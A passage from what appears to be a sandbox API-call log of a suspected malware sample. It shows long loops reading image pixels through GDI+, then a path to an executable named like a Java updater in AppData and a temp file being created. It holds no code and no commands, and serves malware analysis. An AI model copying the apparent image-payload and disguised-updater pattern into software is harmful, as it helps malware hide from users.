x=161, y=308, color=0x31e3f0) returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=162, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=163, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=164, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=165, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=166, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=167, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=168, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=169, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.126] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.126] GdipBitmapGetPixel (bitmap=0x4932230, x=170, y=308, color=0x31e3f0) returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=171, y=308, color=0x31e3f0) returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=172, y=308, color=0x31e3f0) returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=173, y=308, color=0x31e3f0) returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=174, y=308, color=0x31e3f0) returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=175, y=308, color=0x31e3f0) returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=176, y=308, color=0x31e3f0) returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=177, y=308, color=0x31e3f0) returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=178, y=308, color=0x31e3f0) returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.127] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.127] GdipBitmapGetPixel (bitmap=0x4932230, x=179, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.128] GdipBitmapGetPixel (bitmap=0x4932230, x=180, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.128] GdipBitmapGetPixel (bitmap=0x4932230, x=181, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.128] GdipBitmapGetPixel (bitmap=0x4932230, x=182, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.128] GdipBitmapGetPixel (bitmap=0x4932230, x=183, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.128] GdipBitmapGetPixel (bitmap=0x4932230, x=184, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.128] GdipBitmapGetPixel (bitmap=0x4932230, x=185, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.128] GdipBitmapGetPixel (bitmap=0x4932230, x=186, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.128] GdipBitmapGetPixel (bitmap=0x4932230, x=187, y=308, color=0x31e3f0) returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.128] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.129] GdipBitmapGetPixel (bitmap=0x4932230, x=188, y=308, color=0x31e3f0) returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.129] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.129] GdipBitmapGetPixel (bitmap=0x4932230, x=189, y=308, color=0x31e3f0) returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.129] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.129] GdipBitmapGetPixel (bitmap=0x4932230, x=190, y=308, color=0x31e3f0) returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.129] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.129] GdipBitmapGetPixel (bitmap=0x4932230, x=191, y=308, color=0x31e3f0) returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.129] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.129] GdipBitmapGetPixel (bitmap=0x4932230, x=192, y=308, color=0x31e3f0) returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.129] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.129] GdipBitmapGetPixel (bitmap=0x4932230, x=193, y=308, color=0x31e3f0) returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.129] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.129] GdipBitmapGetPixel (bitmap=0x4932230, x=194, y=308, color=0x31e3f0) returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.129] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.129] GdipBitmapGetPixel (bitmap=0x4932230, x=195, y=308, color=0x31e3f0) returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=196, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=197, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=198, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=199, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=200, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=201, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=202, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=203, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.130] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.130] GdipBitmapGetPixel (bitmap=0x4932230, x=204, y=308, color=0x31e3f0) returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.131] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.131] GdipBitmapGetPixel (bitmap=0x4932230, x=205, y=308, color=0x31e3f0) returned 0x0 [0114.131] GetLastError () returned 0x0 [0114.131] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.131] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.131] GdipBitmapGetPixel (bitmap=0x4932230, x=206, y=308, color=0x31e3f0) returned 0x0 [0114.131] GetLastError () returned 0x0 [0114.131] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.131] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.131] GdipBitmapGetPixel (bitmap=0x4932230, x=207, y=308, color=0x31e3f0) returned 0x0 [0114.131] GetLastError () returned 0x0 [0114.131] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.131] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.131] GdipBitmapGetPixel (bitmap=0x4932230, x=208, y=308, color=0x31e3f0) returned 0x0 [0114.131] GetLastError () returned 0x0 [0114.131] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.131] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.131] GdipBitmapGetPixel (bitmap=0x4932230, x=209, y=308, color=0x31e3f0) returned 0x0 [0114.131] GetLastError () returned 0x0 [0114.131] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.131] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.131] GdipBitmapGetPixel (bitmap=0x4932230, x=210, y=308, color=0x31e3f0) returned 0x0 [0114.131] GetLastError () returned 0x0 [0114.131] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.131] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.131] GdipBitmapGetPixel (bitmap=0x4932230, x=211, y=308, color=0x31e3f0) returned 0x0 [0114.131] GetLastError () returned 0x0 [0114.131] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.131] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.131] GdipBitmapGetPixel (bitmap=0x4932230, x=212, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=213, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=214, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=215, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=216, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=217, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=218, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=219, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=220, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.132] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.132] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.132] GdipBitmapGetPixel (bitmap=0x4932230, x=221, y=308, color=0x31e3f0) returned 0x0 [0114.132] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.133] GdipBitmapGetPixel (bitmap=0x4932230, x=222, y=308, color=0x31e3f0) returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.133] GdipBitmapGetPixel (bitmap=0x4932230, x=223, y=308, color=0x31e3f0) returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.133] GdipBitmapGetPixel (bitmap=0x4932230, x=224, y=308, color=0x31e3f0) returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.133] GdipBitmapGetPixel (bitmap=0x4932230, x=225, y=308, color=0x31e3f0) returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.133] GdipBitmapGetPixel (bitmap=0x4932230, x=226, y=308, color=0x31e3f0) returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.133] GdipBitmapGetPixel (bitmap=0x4932230, x=227, y=308, color=0x31e3f0) returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.133] GdipBitmapGetPixel (bitmap=0x4932230, x=228, y=308, color=0x31e3f0) returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.133] GdipBitmapGetPixel (bitmap=0x4932230, x=229, y=308, color=0x31e3f0) returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.133] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.134] GdipBitmapGetPixel (bitmap=0x4932230, x=230, y=308, color=0x31e3f0) returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.134] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.134] GdipBitmapGetPixel (bitmap=0x4932230, x=231, y=308, color=0x31e3f0) returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.134] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.134] GdipBitmapGetPixel (bitmap=0x4932230, x=232, y=308, color=0x31e3f0) returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.134] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.134] GdipBitmapGetPixel (bitmap=0x4932230, x=233, y=308, color=0x31e3f0) returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.134] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.134] GdipBitmapGetPixel (bitmap=0x4932230, x=234, y=308, color=0x31e3f0) returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.134] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.134] GdipBitmapGetPixel (bitmap=0x4932230, x=235, y=308, color=0x31e3f0) returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.134] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.134] GdipBitmapGetPixel (bitmap=0x4932230, x=236, y=308, color=0x31e3f0) returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.134] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.134] GdipBitmapGetPixel (bitmap=0x4932230, x=237, y=308, color=0x31e3f0) returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.135] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.135] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.135] GdipBitmapGetPixel (bitmap=0x4932230, x=238, y=308, color=0x31e3f0) returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.135] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.135] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.135] GdipBitmapGetPixel (bitmap=0x4932230, x=239, y=308, color=0x31e3f0) returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.135] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.135] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.135] GdipBitmapGetPixel (bitmap=0x4932230, x=240, y=308, color=0x31e3f0) returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.135] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.135] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.135] GdipBitmapGetPixel (bitmap=0x4932230, x=241, y=308, color=0x31e3f0) returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.135] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.135] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.135] GdipBitmapGetPixel (bitmap=0x4932230, x=242, y=308, color=0x31e3f0) returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.135] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.135] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.135] GdipBitmapGetPixel (bitmap=0x4932230, x=243, y=308, color=0x31e3f0) returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.135] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.135] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.135] GdipBitmapGetPixel (bitmap=0x4932230, x=244, y=308, color=0x31e3f0) returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.135] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.135] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.136] GdipBitmapGetPixel (bitmap=0x4932230, x=245, y=308, color=0x31e3f0) returned 0x0 [0114.136] GetLastError () returned 0x0 [0114.136] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.136] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.136] GdipBitmapGetPixel (bitmap=0x4932230, x=246, y=308, color=0x31e3f0) returned 0x0 [0114.136] GetLastError () returned 0x0 [0114.136] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.136] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.136] GdipBitmapGetPixel (bitmap=0x4932230, x=247, y=308, color=0x31e3f0) returned 0x0 [0114.136] GetLastError () returned 0x0 [0114.136] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.136] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.136] GdipBitmapGetPixel (bitmap=0x4932230, x=248, y=308, color=0x31e3f0) returned 0x0 [0114.136] GetLastError () returned 0x0 [0114.136] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.136] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.136] GdipBitmapGetPixel (bitmap=0x4932230, x=249, y=308, color=0x31e3f0) returned 0x0 [0114.136] GetLastError () returned 0x0 [0114.368] GetACP () returned 0x4e4 [0114.456] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x7469e0, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0114.456] GetLastError () returned 0x0 [0114.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", nBufferLength=0x105, lpBuffer=0x31de34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", lpFilePart=0x0) returned 0x40 [0114.456] GetLastError () returned 0x0 [0114.463] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x31dcfc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0114.464] GetLastError () returned 0x0 [0114.464] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp", nBufferLength=0x105, lpBuffer=0x31dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp", lpFilePart=0x0) returned 0x3c [0114.464] GetLastError () returned 0x0 [0114.465] SetErrorMode (uMode=0x1) returned 0x0 [0114.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\strpath.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1b0 [0114.470] GetLastError () returned 0xb7 [0114.472] GetFileType (hFile=0x1b0) returned 0x1 [0114.472] SetErrorMode (uMode=0x0) returned 0x1 [0114.472] GetFileType (hFile=0x1b0) returned 0x1 